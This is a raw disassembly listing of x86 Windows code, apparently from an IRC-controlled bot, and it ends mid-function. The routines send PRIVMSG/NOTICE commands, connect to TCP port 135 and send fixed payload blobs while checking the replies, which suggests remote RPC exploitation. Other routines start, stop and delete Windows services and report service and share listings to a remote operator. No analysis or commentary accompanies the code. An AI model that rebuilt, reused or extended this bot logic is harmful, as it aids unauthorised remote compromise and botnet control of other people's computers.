; ---------------------------------------------------------------------------
loc_40D2BE: ; CODE XREF: sub_40D28A+27j
mov al, 1
jmp short loc_40D2BA
sub_40D28A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2C2 proc near ; CODE XREF: sub_402DB1+88p
; sub_402DB1+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_417830
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_40D303
dec eax
jz short loc_40D2E1
dec eax
loc_40D2DB: ; CODE XREF: sub_40D2C2+57j
xor eax, eax
loc_40D2DD: ; CODE XREF: sub_40D2C2+3Fj
; sub_40D2C2+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2C2+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_43EB64 ; inet_addr
push eax
call sub_40751B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_40D2DD
; ---------------------------------------------------------------------------
loc_40D303: ; CODE XREF: sub_40D2C2+13j
push 6
push 1
push 2
call dword_43EBA4 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_40D2DB
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_43EB24 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40ABF8
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43EACC ; connect
cmp eax, edi
jz loc_40D41F
push ebx
push 48h
push offset dword_42DA38
push esi
call dword_43EB74 ; send
cmp eax, edi
jz loc_40D41F
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43EB3C ; recv
cmp eax, edi
jz loc_40D41F
cmp [ebp+var_200E], 0Ch
jnz short loc_40D41F
push ebx
push 18h
push offset dword_42DA84
push [ebp+arg_4]
call dword_43EB74 ; send
cmp eax, edi
jz short loc_40D41F
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43EB3C ; recv
mov esi, eax
cmp esi, edi
jz short loc_40D41F
cmp [ebp+var_200E], 2
jnz short loc_40D41F
push 10h
push offset loc_42DAA0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D28A
add esp, 10h
test al, al
jz short loc_40D3FF
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_40D41F
; ---------------------------------------------------------------------------
loc_40D3FF: ; CODE XREF: sub_40D2C2+12Fj
push 10h
push offset dword_42DAB4
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40D28A
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_40D41F: ; CODE XREF: sub_40D2C2+9Bj
; sub_40D2C2+B2j ...
push [ebp+arg_4]
call dword_43EBBC ; closesocket
mov eax, ebx
pop ebx
jmp loc_40D2DD
sub_40D2C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D430 proc near ; CODE XREF: sub_40EAC7+3Dp
; sub_40EC43+1BDp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_4190FF
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
leave
retn
sub_40D430 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D476 proc near ; CODE XREF: sub_401000+88p
; sub_401444+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40D491
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40D491: ; CODE XREF: sub_40D476+14j
push edi
call sub_4177B0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_4177B0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_3 ; "%s"
push esi
push eax
call sub_41752A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_42DAC8
push eax
call sub_416FB6
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_40D50F
push 7D0h
call dword_423064 ; Sleep
locret_40D50F: ; CODE XREF: sub_40D476+8Cj
leave
retn
sub_40D476 endp
; =============== S U B R O U T I N E =======================================
sub_40D511 proc near ; CODE XREF: sub_40EC43:loc_410C05p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_40D576
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_42DAF0[esi]
push edi
push eax
call sub_40D598
add esp, 14h
test eax, eax
jnz short loc_40D559
push edi
push off_42DAEC[esi]
mov esi, offset dword_4435E8
push offset dword_42DC1C
push esi
call sub_416FB6
add esp, 10h
jmp short loc_40D593
; ---------------------------------------------------------------------------
loc_40D559: ; CODE XREF: sub_40D511+2Aj
push eax
call sub_40D63A
push eax
push edi
mov esi, offset dword_4435E8
push offset dword_42DBE4
push esi
call sub_416FB6
add esp, 14h
jmp short loc_40D593
; ---------------------------------------------------------------------------
loc_40D576: ; CODE XREF: sub_40D511+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4435E8
push off_42DAE8[eax*4]
push offset dword_42DBB0
push esi
call sub_416FB6
add esp, 0Ch
loc_40D593: ; CODE XREF: sub_40D511+46j
; sub_40D511+63j
mov eax, esi
pop edi
pop esi
retn
sub_40D511 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D598 proc near ; CODE XREF: sub_40D511+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_43EB18 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_40D5BF
call dword_42308C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40D634
; ---------------------------------------------------------------------------
loc_40D5BF: ; CODE XREF: sub_40D598+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_43EA0C ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_40D5DF
call dword_42308C ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40D62C
; ---------------------------------------------------------------------------
loc_40D5DF: ; CODE XREF: sub_40D598+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_40D612
cmp eax, 3
jz short loc_40D603
jle short loc_40D625
cmp eax, 6
jg short loc_40D625
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_43EA74 ; ControlService
jmp short loc_40D619
; ---------------------------------------------------------------------------
loc_40D603: ; CODE XREF: sub_40D598+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_43EA14 ; StartServiceA
jmp short loc_40D619
; ---------------------------------------------------------------------------
loc_40D612: ; CODE XREF: sub_40D598+4Dj
push esi
call dword_43EA78 ; DeleteService
loc_40D619: ; CODE XREF: sub_40D598+69j
; sub_40D598+78j
test eax, eax
jnz short loc_40D625
call dword_42308C ; RtlGetLastWin32Error
mov ebx, eax
loc_40D625: ; CODE XREF: sub_40D598+54j
; sub_40D598+59j ...
push esi
call dword_43EA28 ; CloseServiceHandle
loc_40D62C: ; CODE XREF: sub_40D598+45j
push edi
call dword_43EA28 ; CloseServiceHandle
pop esi
loc_40D634: ; CODE XREF: sub_40D598+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40D598 endp
; =============== S U B R O U T I N E =======================================
sub_40D63A proc near ; CODE XREF: sub_40D511+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40D6EF
jz loc_40D6E8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40D6B2
jz short loc_40D6A8
mov ecx, eax
sub ecx, 3
jz short loc_40D69E
dec ecx
dec ecx
jz short loc_40D694
dec ecx
jz short loc_40D68A
sub ecx, 51h
jz short loc_40D680
sub ecx, 24h
jnz loc_40D765 ; default
; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40D757
; ---------------------------------------------------------------------------
loc_40D680: ; CODE XREF: sub_40D63A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40D757
; ---------------------------------------------------------------------------
loc_40D68A: ; CODE XREF: sub_40D63A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40D757
; ---------------------------------------------------------------------------
loc_40D694: ; CODE XREF: sub_40D63A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40D757
; ---------------------------------------------------------------------------
loc_40D69E: ; CODE XREF: sub_40D63A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40D757
; ---------------------------------------------------------------------------
loc_40D6A8: ; CODE XREF: sub_40D63A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40D757
; ---------------------------------------------------------------------------
loc_40D6B2: ; CODE XREF: sub_40D63A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40D6E1
dec ecx
jz short loc_40D6DA
dec ecx
jz short loc_40D6D3
dec ecx
jnz loc_40D765 ; default
; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40D757
; ---------------------------------------------------------------------------
loc_40D6D3: ; CODE XREF: sub_40D63A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D6DA: ; CODE XREF: sub_40D63A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D6E1: ; CODE XREF: sub_40D63A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D6E8: ; CODE XREF: sub_40D63A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D6EF: ; CODE XREF: sub_40D63A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40D765 ; default
; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
jz short loc_40D752
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40D765 ; default
; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_40D7A6[ecx]
jmp off_40D77E[ecx*4] ; switch jump
loc_40D713: ; DATA XREF: .data:off_40D77Eo
push offset aTheSpecifiedDa ; jumptable 0040D70C case 7
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D71A: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheServiceDepe ; jumptable 0040D70C case 17
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D721: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheServiceDe_0 ; jumptable 0040D70C case 10
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D728: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheServiceHasB ; jumptable 0040D70C case 0
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D72F: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheSpecified_0 ; jumptable 0040D70C case 2
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D736: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheServiceCoul ; jumptable 0040D70C case 11
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D73D: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheServiceHa_0 ; jumptable 0040D70C case 14
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D744: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheRequested_1 ; jumptable 0040D70C case 3
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D74B: ; CODE XREF: sub_40D63A+D2j
; DATA XREF: .data:off_40D77Eo
push offset aTheServiceHasN ; jumptable 0040D70C case 4
jmp short loc_40D757
; ---------------------------------------------------------------------------
loc_40D752: ; CODE XREF: sub_40D63A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40D757: ; CODE XREF: sub_40D63A+41j
; sub_40D63A+4Bj ...
push offset dword_442F18
call sub_416FB6
pop ecx
pop ecx
jmp short loc_40D778
; ---------------------------------------------------------------------------
loc_40D765: ; CODE XREF: sub_40D63A+36j
; sub_40D63A+89j ...
push eax ; default
; jumptable 0040D70C cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset dword_442F18
call sub_416FB6
add esp, 0Ch
loc_40D778: ; CODE XREF: sub_40D63A+129j
mov eax, offset dword_442F18
retn
sub_40D63A endp
; ---------------------------------------------------------------------------
off_40D77E dd offset loc_40D728 ; DATA XREF: sub_40D63A+D2r
dd offset loc_40D72F ; jump table for switch statement
dd offset loc_40D744
dd offset loc_40D74B
dd offset loc_40D713
dd offset loc_40D721
dd offset loc_40D736
dd offset loc_40D73D
dd offset loc_40D71A
dd offset loc_40D765
byte_40D7A6 db 0, 9, 1, 2 ; DATA XREF: sub_40D63A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D7B8 proc near ; CODE XREF: sub_40EC43+1FEDp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_43EB18 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_40D7F0: ; CODE XREF: sub_40D7B8+123j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_43EAE4 ; EnumServicesStatusA
test eax, eax
jnz short loc_40D82A
call dword_42308C ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_40D8E1
loc_40D82A: ; CODE XREF: sub_40D7B8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40D8D8
lea esi, [ebp+var_188]
loc_40D83B: ; CODE XREF: sub_40D7B8+11Aj
mov eax, [esi+8]
dec eax
jz short loc_40D887
dec eax
jz short loc_40D880
dec eax
jz short loc_40D879
dec eax
jz short loc_40D872
dec eax
jz short loc_40D86B
dec eax
jz short loc_40D864
dec eax
lea eax, [ebp+var_20]
jz short loc_40D85D
push offset aUnknown_0 ; " Unknown"
jmp short loc_40D88F
; ---------------------------------------------------------------------------
loc_40D85D: ; CODE XREF: sub_40D7B8+9Cj
push offset aPaused_0 ; " Paused"
jmp short loc_40D88F
; ---------------------------------------------------------------------------
loc_40D864: ; CODE XREF: sub_40D7B8+96j
push offset aPausing ; " Pausing"
jmp short loc_40D88C
; ---------------------------------------------------------------------------
loc_40D86B: ; CODE XREF: sub_40D7B8+93j
push offset aContinuing ; " Continuing"
jmp short loc_40D88C
; ---------------------------------------------------------------------------
loc_40D872: ; CODE XREF: sub_40D7B8+90j
push offset aRunning ; " Running"
jmp short loc_40D88C
; ---------------------------------------------------------------------------
loc_40D879: ; CODE XREF: sub_40D7B8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40D88C
; ---------------------------------------------------------------------------
loc_40D880: ; CODE XREF: sub_40D7B8+8Aj
push offset aStarting ; " Starting"
jmp short loc_40D88C
; ---------------------------------------------------------------------------
loc_40D887: ; CODE XREF: sub_40D7B8+87j
push offset aStopped ; " Stopped"
loc_40D88C: ; CODE XREF: sub_40D7B8+B1j
; sub_40D7B8+B8j ...
lea eax, [ebp+var_20]
loc_40D88F: ; CODE XREF: sub_40D7B8+A3j
; sub_40D7B8+AAj
push eax
call sub_416FB6
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40D83B
loc_40D8D8: ; CODE XREF: sub_40D7B8+77j
cmp [ebp+var_8], ebx
jnz loc_40D7F0
loc_40D8E1: ; CODE XREF: sub_40D7B8+6Cj
push [ebp+var_C]
call dword_43EA28 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40D7B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8F8 proc near ; CODE XREF: sub_40EC43:loc_410CF0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_40D991
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40D921
dec eax
jnz short loc_40D971
push edi
push 0
call sub_40DACA
pop ecx
pop ecx
jmp short loc_40D96D
; ---------------------------------------------------------------------------
loc_40D921: ; CODE XREF: sub_40D8F8+18j
cmp [ebp+arg_8], 0
jnz short loc_40D95F
push 24h
push edi
call sub_418C50
pop ecx
test eax, eax
pop ecx
jnz short loc_40D95F
push 57h
pop eax
loc_40D938: ; CODE XREF: sub_40D8F8+77j
push eax
call sub_40E298
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4431E0
push off_42DAE8[eax*4]
push offset dword_42E1EC
push esi
call sub_416FB6
add esp, 18h
jmp short loc_40D9B1
; ---------------------------------------------------------------------------
loc_40D95F: ; CODE XREF: sub_40D8F8+2Dj
; sub_40D8F8+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_40DA1E
add esp, 0Ch
loc_40D96D: ; CODE XREF: sub_40D8F8+27j
test eax, eax
jnz short loc_40D938
loc_40D971: ; CODE XREF: sub_40D8F8+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4431E0
push off_42DAEC[eax*4]
push offset dword_42E1C0
push esi
call sub_416FB6
add esp, 10h
jmp short loc_40D9B1
; ---------------------------------------------------------------------------
loc_40D991: ; CODE XREF: sub_40D8F8+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4431E0
lea eax, [eax+eax*2]
push off_42DAE8[eax*4]
push offset dword_42E18C
push esi
call sub_416FB6
add esp, 0Ch
loc_40D9B1: ; CODE XREF: sub_40D8F8+65j
; sub_40D8F8+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40D8F8 endp
; =============== S U B R O U T I N E =======================================
sub_40D9B7 proc near ; CODE XREF: sub_415CC2+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40D9C4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40D9C4: ; CODE XREF: sub_40D9B7+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_423150
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4433E0, 1
mov ebp, eax
jnz short loc_40DA01
or byte_4433E0, 1
lea eax, [ebp+1]
push eax
call sub_4182F5
pop ecx
mov dword_443178, eax
loc_40DA01: ; CODE XREF: sub_40D9B7+32j
push esi
push esi
push ebp
push dword_443178
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_443178
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40D9B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA1E proc near ; CODE XREF: sub_40D8F8+6Dp
; sub_415FE8+18Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_40DA89
push [ebp+arg_4]
mov edi, eax
call sub_40DA89
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_418C50
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_40DA89
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_43EA24
pop edi
leave
retn
sub_40DA1E endp
; =============== S U B R O U T I N E =======================================
sub_40DA89 proc near ; CODE XREF: sub_40DA1E+Ap
; sub_40DA1E+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_40DA96
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40DA96: ; CODE XREF: sub_40DA89+9j
push ebx
push esi
mov esi, dword_423070
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_4182F5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_40DA89 endp
; =============== S U B R O U T I N E =======================================
sub_40DACA proc near ; CODE XREF: sub_40D8F8+20p
; sub_415CC2+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DA89
push [esp+8+arg_4]
mov esi, eax
call sub_40DA89
pop ecx
pop ecx
push 0
push eax
push esi
call dword_43E9FC
pop esi
retn
sub_40DACA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAED proc near ; CODE XREF: sub_40EC43+20D9p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_40DA89
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 18h
loc_40DB26: ; CODE XREF: sub_40DAED+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_43EA70
mov ebx, eax
cmp ebx, esi
jz short loc_40DB89
cmp ebx, 0EAh
jz short loc_40DB89
push ebx
push ebx
call sub_40E298
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_42E248
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 24h
jmp short loc_40DBF6
; ---------------------------------------------------------------------------
loc_40DB89: ; CODE XREF: sub_40DAED+5Dj
; sub_40DAED+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_40DBED
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_40DB97: ; CODE XREF: sub_40DAED+FCj
push dword ptr [esi+10h]
call dword_43EA18 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_40DBAE
mov eax, offset aNo ; "No"
loc_40DBAE: ; CODE XREF: sub_40DAED+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_40DB97
xor esi, esi
loc_40DBED: ; CODE XREF: sub_40DAED+A2j
push [ebp+var_4]
call dword_43EBB4
loc_40DBF6: ; CODE XREF: sub_40DAED+9Aj
cmp ebx, 0EAh
jz loc_40DB26
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40DAED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC0E proc near ; CODE XREF: sub_40EC43:loc_410D8Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_40DCB2
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_40DC50
dec eax
jz short loc_40DC45
dec eax
jnz short loc_40DC6B
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_40DD54
add esp, 14h
jmp short loc_40DC67
; ---------------------------------------------------------------------------
loc_40DC45: ; CODE XREF: sub_40DC0E+1Dj
push ebx
push edi
call sub_40DD33
pop ecx
pop ecx
jmp short loc_40DC67
; ---------------------------------------------------------------------------
loc_40DC50: ; CODE XREF: sub_40DC0E+1Aj
cmp [ebp+arg_8], edi
jz short loc_40DC64
push [ebp+arg_8]
push ebx
push edi
call sub_40DCD9
add esp, 0Ch
jmp short loc_40DC67
; ---------------------------------------------------------------------------
loc_40DC64: ; CODE XREF: sub_40DC0E+45j
push 57h
pop eax
loc_40DC67: ; CODE XREF: sub_40DC0E+35j
; sub_40DC0E+40j ...
cmp eax, edi
jnz short loc_40DC8B
loc_40DC6B: ; CODE XREF: sub_40DC0E+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4433E8
push off_42DAEC[eax*4]
push offset dword_42E32C
push esi
call sub_416FB6
add esp, 10h
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DC8B: ; CODE XREF: sub_40DC0E+5Bj
push eax
call sub_40E298
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4433E8
push off_42DAE8[eax*4]
push offset dword_42E2F0
push esi
call sub_416FB6
add esp, 18h
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCB2: ; CODE XREF: sub_40DC0E+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4433E8
lea eax, [eax+eax*2]
push off_42DAE8[eax*4]
push offset dword_42E2B8
push esi
call sub_416FB6
add esp, 0Ch
loc_40DCD2: ; CODE XREF: sub_40DC0E+7Bj
; sub_40DC0E+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40DC0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCD9 proc near ; CODE XREF: sub_40DC0E+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
